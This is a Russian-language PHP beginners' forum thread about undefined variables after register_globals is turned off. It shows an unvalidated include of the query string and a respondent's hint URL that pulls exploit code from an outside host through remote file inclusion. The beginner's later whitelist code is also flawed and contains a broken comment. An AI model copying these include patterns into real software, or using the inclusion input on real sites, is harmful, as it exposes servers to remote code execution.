не определенные переменные

  • Автор темы Drugged_Wizard
  • Дата начала

Drugged_Wizard

Guest
не определенные переменные

Установил Апач2, поставил PHP5... Вот только ничегон е понимаю.. везде скрипты работают на хостингах, у меня же выдает огромное количество ошибок по поводу того что переменная не определенна...
типа такого :

<?php
function foo ($in) {
if ($in != "") {$out=$in;}
else {$out="main";} return $out;}?>
<?php
include (foo($QUERY_STRING)); ?>

Ругается на то что функция $QUERY_STRING не определена...
Допустим но едь на другом хостинге все прекрасно работает...
спокойно подгружаются файлы ( index.php?имя_файла )

Плиз хелп +) Может лучше четвертый PHP поставитьилагов не будет? =P
 

Фанат

oncle terrible
Команда форума
лаги - это задержки.
а ошибки - это баги.

Количество ошибок в программе зависит не от версии пхп, а от кривизны рук программиста.
От того, что ты сообщения об ошибке не увидишь, сама ошибка не исчезнет.
 

Drugged_Wizard

Guest
ну совсем чайником себя ощутил... ну да.. так оно и есть =) а прямота и кривизна рук дело растяжимое если не знаешь не значит что руки кривые... а во вторых скрипт то у меня работает прекрасно,когда переменные регистрирует автоматом... так что зависит от настроек PHP.. а если все работает то ошибки нет,.. ладно не суть спасибо большое нашел разобрался со всем =) а если бы 3 стоял то он вообще бы наэто внимания наверно не обратил )
 

SiMM

Новичок
Автор оригинала: Drugged_Wizard
скрипт то у меня работает прекрасно,когда переменные регистрирует автоматом... так что зависит от настроек PHP..
Это уже называется кривизной мышления. И, кстати, $QUERY_STRING - далеко не функция.
 

Drugged_Wizard

Guest
ну неправильно выразился переменная в заголовке темы то правильно написал =)... Елки я пхп изучаю 4 дня! а вы тут уже говорите про мышление и прямоту рук... я рад тому что сейчас наваял елки...
 

Фанат

oncle terrible
Команда форума
прямота и кривизна рук дело растяжимое
я рад. только при чем здесь это?
скрипт то у меня работает прекрасно
это заблуждение.
весьма пагубное.
Пассажиры Тианика тоже долгое время после столкновения с Л.Айсбергом думали, что они плывут.
так что зависит от настроек PHP
Скажи, ты правда думаешь, что данная настройка введена от нечего делать, для красоты? Ни на что не влияет - в том числе - на безопасность и стабильность работы скриптов?
А сообщения, ей выдаваемые, не значат ровным счетом ничего?

-~{}~ 19.01.05 21:50:

Елки я пхп изучаю 4 дня!
Для 4 дней ты весьма продвинут.
Вот только не надо думать, что все вокруг только и хотят написать про твои кривые руки.
 

Drugged_Wizard

Guest
спасиба за продвинусть... =) я знаю... но скрипт я написал раньше чем узнал про то что в настройках у php есть такая опция... нда я читал что проблемы с безопасностью... но тогда на хостингах бесплатных сидят олухи и везде стоит у них ON... либо черт знает =) А сообщения совершенно правильные.. потому что когда я сидел и разбирался в других скриптах для меня самого тановилсоь вопросом появление некоторых переменных, так как нигде они не задавались и вдруг уже используются в цикле и проч..
 

SiMM

Новичок
Автор оригинала: Drugged_Wizard
я знаю... но скрипт я написал раньше чем узнал про то что в настройках у php есть такая опция...
Ну так исправляй. Тем более что за 4 дня ты врядли много нагородил :)
но тогда на хостингах бесплатных сидят олухи и везде стоит у них ON...
сидят
А сообщения совершенно правильные..
Ну вот видишь. Ты и сам с этим согласен. Так что на будущее - пиши, чтобы работало всегда, а не как повезёт.
 

Drugged_Wizard

Guest
для меня проблема в неправильных исходниках.. всю жизнь все языки учил на исходниках ну или пытался... а получается что то по чему я учусь на корню не правильно... потому что я проверил и получилсоь что 99% скриптов которые я ковыряю как примеры имеют именно такую проблему с переменными...
Будустараться буду учить.. счас вот mysql докачаюпоставлю чтоб не заморачиваться с хостингом для тестирования и буду мучаться...



Тогда еще вопрос к какомумасивуимеет отношение перменная $QUERY_STRING...
getenv('_МАССИВ'); и послеэтого переменная уже во всем скрипте становится объявленной?
 

SiMM

Новичок
Автор оригинала: Drugged_Wizard
Тогда еще вопрос к какомумасивуимеет отношение перменная $QUERY_STRING...
Ещё одна полезная штука - [m]phpinfo[/m](INFO_VARIABLES) - если ты что-то потерял - ищи там :)
 

Drugged_Wizard

Guest
А! Спасиба всем..вернул все на место... поставил register_globals в OFF ... Я нашел и исправил =) Блин как я рад... =) Всеработает без ашибкоф =)

Вобщем то получилось так ( можкому из такихкак я начинающихпонадобится ) палучилось вот так :

<?php include (foo($_SERVER['QUERY_STRING'])); ?>
 

SiMM

Новичок
Автор оригинала: Drugged_Wizard
Вобщем то получилось так ( можкому из такихкак я начинающихпонадобится ) палучилось вот так :
<?php include (foo($_SERVER['QUERY_STRING'])); ?>
А теперь подумай, почему так не следует делать.
hint: http://your_domain/index.php?http://hackyou.com/exploit.txt
 

Drugged_Wizard

Guest
Издевательство =) Хотя я этос самого началапонимал и уже сам это проверял =)
и я не удивляюсь как заливаются шеллы и получают рут =)
Но скрипт ругойбудет болеесложным... Ау еня пока что с циклами проверок проблема..надо падумать =)

... допустим надо тогда создавать отдельный список доступных разделов, и если в нем не обнаруживается запрашиваемый раздел тогда все посылаются лесом...

Но на этом мысль останавливается...

проверка есть нету если есть загружать если нет посылать..хотя думаю это тоже не самый безопасный вариант =)
Представляю алгоритм ... но не его исполнение...
получить QUERY_STRING проверить его значение со строками в отдельномфайле.. и одна должна сопадать по значению с перпеменной QUERY_STRING... иначе вывод ошибки... пойду изучать массивы и циклы =)
 

TuBu

Guest
Drugged_Wizard

Рука не поспевала за мыслью; слова сливались и смешивались в едином порыве ... (на правах оффтопика)
 

Drugged_Wizard

Guest
я летом клавиатуру разбил со злости паэтому пробел плохо работает... =) ( на правах офф топика ) =)))) тока не баньтеплиз просто предупредите если что не так (
 

Drugged_Wizard

Guest
А вот нашел такое решение: (в правилах написано что если я нашел решение своей проблемы то могу поделиться ею сдругими)

<html>
Content
<!--Мой вебсайт -->
<?php
if($_SERVER['QUERY_STRING']<=888) \\Хотя здесьможно было просто включить проверку на символы
{
switch ($_SERVER['QUERY_STRING']) {
case 0:
require("music.htm");
break;
case 1:
require("txt.php");
break;
case 2:
require("index.php");
break;
}}
else
{
echo "Куда лезешь!";
}
?>
<!--Мой вебсайт -->
</html>

я решаюпроблемутемплейтов для себя... с учетом того что сегодня лишь 4 день моего знакоства с пхп=0)
 

Фанат

oncle terrible
Команда форума
Drugged_Wizard
а то ты будешь делать, если понадобится вывести, к примеру, заголовок текста из текстов в title страницы?
 
Сверху